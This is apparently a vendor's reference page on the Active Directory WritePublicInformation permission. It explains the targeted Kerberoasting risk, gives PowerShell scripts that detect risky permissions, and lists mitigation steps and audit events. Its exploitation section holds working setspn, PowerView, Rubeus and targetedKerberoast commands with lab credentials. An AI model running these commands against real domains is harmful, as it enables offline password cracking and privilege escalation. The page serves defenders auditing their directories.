Skip to content

WritePublicInformation

Copy page

Summary

Forestall ACL Alias WritePublicInformation
AD Alias Write Public-Information
Affected Object Types Users, Computers, Managed Service Accounts
Exploitation Certainty Likely
AD Property Set Public-Information
AD Right WriteProperty
AD Permission Guid e48d0154-bcf8-11d1-8702-00c04fb96050

Description

The WritePublicInformation permission allows an account to modify attributes in the Active Directory Public-Information property set. A property set groups multiple attributes under one Access Control Entry, so a single ACE can grant write access to several related fields.

This property set includes servicePrincipalName. Because of this, WritePublicInformation can allow the permission holder to add, update, or remove SPNs on the affected object.

Risk

When WritePublicInformation allows modification of servicePrincipalName, it can be abused like the WriteSPN edge. An attacker can add a controlled SPN to the target account, request a Kerberos service ticket for that SPN, extract the encrypted ticket, and attempt to crack the target account password offline.

This is commonly referred to as targeted Kerberoasting. The impact depends on the target account and password strength. If the affected object is a privileged user, service account, or computer account with meaningful access, successful cracking can lead to privilege escalation and lateral movement.

Identification

PowerShell

Active Directory Module

Using the ActiveDirectory PowerShell module, you can enumerate WritePublicInformation entries.

1. Find-WritePublicInformation function

function Find-WritePublicInformation {
[CmdletBinding()]
param(
[string]$SearchBase = $null,
[string]$OutputPath = "WritePublicInformation.csv",
[string]$Target = $null
)
try { Import-Module ActiveDirectory -ErrorAction Stop } catch { Write-Error "ActiveDirectory module not found."; return }
$allow = [System.Security.AccessControl.AccessControlType]::Allow
$writeProperty = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty
$publicInformationGuid = [guid]"e48d0154-bcf8-11d1-8702-00c04fb96050"
$principalFilter = "(|(&(objectCategory=person)(objectClass=user))(objectClass=computer)(objectClass=msDS-ManagedServiceAccount)(objectClass=msDS-GroupManagedServiceAccount)(objectClass=msDS-DelegatedManagedServiceAccount))"
$ldapFilter = if ($Target) { "(|(distinguishedName=$Target)(sAMAccountName=$Target)(name=$Target))" } else { $principalFilter }
$adParams = @{
LDAPFilter = $ldapFilter
ErrorAction = "Stop"
}
if ($SearchBase) { $adParams.SearchBase = $SearchBase }
try { $objects = Get-ADObject @adParams } catch { Write-Error "Query failed: $($_.Exception.Message)"; return }
if (-not $objects) { Write-Output "No matching objects found."; return }
$rows = foreach ($object in $objects) {
try {
foreach ($ace in (Get-Acl -Path "AD:$($object.DistinguishedName)").Access) {
if (
$ace.AccessControlType -eq $allow -and
(($ace.ActiveDirectoryRights -band $writeProperty) -eq $writeProperty) -and
$ace.ObjectType -eq $publicInformationGuid -and
-not $ace.IsInherited
) {
[pscustomobject]@{
ObjectDN = $object.DistinguishedName
PermissionHolder = $ace.IdentityReference.Value
}
}
}
} catch {
Write-Warning "ACL read failed for '$($object.DistinguishedName)': $($_.Exception.Message)"
}
}
if ($rows) {
$rows | Sort-Object ObjectDN,PermissionHolder -Unique | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
Write-Host "Exported results to '$OutputPath'."
} else {
Write-Host "No explicit WriteProperty ACEs were found for the Public-Information property set."
}
}

2. Scan all supported domain principals

Find-WritePublicInformation

3. Scan a specific account

Find-WritePublicInformation -Target "_admin"

4. Using SearchBase to limit the searching scope

Find-WritePublicInformation -SearchBase "CN=Users,DC=Forestall,DC=Labs"

.NET Directory Services

By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate WritePublicInformation entries without relying on external modules.

1. Find-WritePublicInformationSimple function

function Find-WritePublicInformationSimple {
[CmdletBinding()]
param(
[string]$Target,
[string]$OutputPath = "WritePublicInformation.csv"
)
$publicInformationGuid = [guid]"e48d0154-bcf8-11d1-8702-00c04fb96050"
$allow = [System.Security.AccessControl.AccessControlType]::Allow
$writeProperty = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty
$principalFilter = "(|(&(objectCategory=person)(objectClass=user))(objectClass=computer)(objectClass=msDS-ManagedServiceAccount)(objectClass=msDS-GroupManagedServiceAccount)(objectClass=msDS-DelegatedManagedServiceAccount))"
if ($Target) {
try { $entries = @([ADSI]"LDAP://$Target") } catch { Write-Error "Failed to bind to '$Target': $_"; return }
} else {
try {
$baseDN = ([ADSI]"LDAP://RootDSE").defaultNamingContext
$searchRoot = [ADSI]"LDAP://$baseDN"
$searcher = [System.DirectoryServices.DirectorySearcher]::new($searchRoot)
$searcher.Filter = $principalFilter
$searcher.PageSize = 1000
[void]$searcher.PropertiesToLoad.Add("distinguishedName")
$entries = foreach ($result in $searcher.FindAll()) { try { $result.GetDirectoryEntry() } catch { continue } }
} catch {
Write-Error "LDAP enumeration failed: $_"
return
}
}
$rows = foreach ($entry in $entries) {
try { $aces = $entry.ObjectSecurity.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) } catch { continue }
foreach ($ace in $aces) {
if ($ace.AccessControlType -ne $allow) { continue }
if (($ace.ActiveDirectoryRights -band $writeProperty) -ne $writeProperty) { continue }
if ($ace.ObjectType -ne $publicInformationGuid) { continue }
if ($ace.IsInherited) { continue }
$holder = try { $ace.IdentityReference.Translate([System.Security.Principal.NTAccount]).Value } catch { $ace.IdentityReference.Value }
[pscustomobject]@{
ObjectDN = $entry.Properties["distinguishedName"][0]
PermissionHolder = $holder
}
}
}
if ($rows) {
$rows | Sort-Object ObjectDN,PermissionHolder -Unique | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
Write-Host "Exported results to '$OutputPath'."
} else {
Write-Host "No explicit WriteProperty ACEs were found for the Public-Information property set."
}
}

2. Scan all supported domain principals

Find-WritePublicInformationSimple

3. Scan a specific account

Find-WritePublicInformationSimple -Target "CN=_admin,CN=Users,DC=Forestall,DC=labs"

Exploitation

The WritePublicInformation permission grants control over servicePrincipalName through the Public-Information property set. The abuse flow is the same as WriteSPN.

Windows

An attacker can add an SPN to the target account.

setspn -A <service type>/<server FQDN> <targetuser>

Example:

setspn -A http/dumpyhost john

The same change can also be made with PowerView.

Set-DomainObject -Identity <target> -SET @{serviceprincipalname='<spn>'}

Example:

Set-DomainObject -Identity john -SET @{serviceprincipalname='http/dumpyhost'}

After the SPN is added, the attacker can request a service ticket and attempt to crack it offline.

.\Rubeus.exe kerberoast /spn:"http/dumpyhost" /nowrap

Linux

On Linux, targeted Kerberoasting can be performed with targetedKerberoast.py.

python targetedKerberoast.py -d <domain> -u <user> -p '<password>' --dc-host <dchost> --request-user <targetuser>

Example:

python targetedKerberoast.py -d forestall.labs -u adam -p 'Temp123!' --dc-host FSDC01.forestall.labs --request-user john

For more exploitation detail, see the WriteSPN edge documentation.

Mitigation

Access Control Entries identified as dangerous should be removed by following the steps below.

1. Open Active Directory Users and Computers, and activate the Advanced Features option.

2. Double-click the affected object and open the Security tab.

3. Click the Advanced button and open the dangerous Access Control Entry.

4. Remove the Write Public Information permission.

5. Click OK and Apply to save changes.

Remove Write Public Information permission

Remove Write Public Information permission

Review whether any principal still needs write access to the Public-Information property set on the affected object. If the operational need is only to manage non-sensitive profile attributes, avoid granting a broad property set permission when a narrower attribute-level permission is sufficient.

Detection

Changes to servicePrincipalName and changes to object security descriptors can be detected by auditing directory service modifications. Ensure Audit Directory Service Changes and Audit Directory Service Access are enabled on Domain Controllers. Look for the following events:

Event ID Description Fields/Attributes References
5136 A directory service object was modified. AttributeLDAPDisplayName should equal servicePrincipalName or nTSecurityDescriptor. https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136
4662 An operation was performed on an object. AccessMask, Properties, and ObjectType for WriteProperty activity. https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662
4769 A Kerberos service ticket was requested. TargetUserName and ServiceName for newly added SPNs. https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769

References

Was this page helpful?

Thank you for your feedback.